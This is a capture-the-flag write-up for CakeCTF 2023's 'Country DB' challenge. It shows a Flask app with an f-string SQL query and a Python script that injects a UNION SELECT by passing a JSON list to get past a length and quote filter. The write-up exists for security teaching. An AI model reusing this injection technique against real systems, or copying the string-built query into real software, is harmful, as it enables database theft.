2023 CakeCTF - Country DB
Overview
- 68 points / 246 solves
- author: ptr-yudai
- tag: warm-up
Description
Do you know which country code ‘CA’ and ‘KE’ are for? Search country codes here!
Attached
This is app.py
file
#!/usr/bin/env python3
import flask
import sqlite3
app = flask.Flask(__name__)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
return flask.render_template("index.html")
@app.route('/api/search', methods=['POST'])
def api_search():
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
name = db_search(code)
if name is None:
flask.abort(404, "No such country")
return {'name': name}
if __name__ == '__main__':
app.run(debug=True)
Analyzation
Check init_db.py
file, it is not hard to find out this is sqli.
The query is so simple
SELECT name FROM country WHERE code=UPPER('AF') UNION SELECT FLAG FROM FLAG -- trash
The main problem of this challenge is to bypass the filters
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
So the string’s length must be 2.
Hmmm, does it have to be string??
Vulnerability
It does not check type of code
, so it does not need to be a string. Another data type can be used instead.
After looking around, I find out list
work!
Solution
import requests
# URL = "http://localhost:8020/api/search"
URL = "http://countrydb.2023.cakectf.com:8020/api/search"
data = {"code": ["') UNION SELECT FLAG FROM FLAG --", "# "]}
response = requests.post(URL, json=data)
print(response.text)
I use empty string for the first query to prevent the result of that query stay up before flag
The flag is
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}
- Similar challenge: “upside-down cake” of TSG CTF (2023)*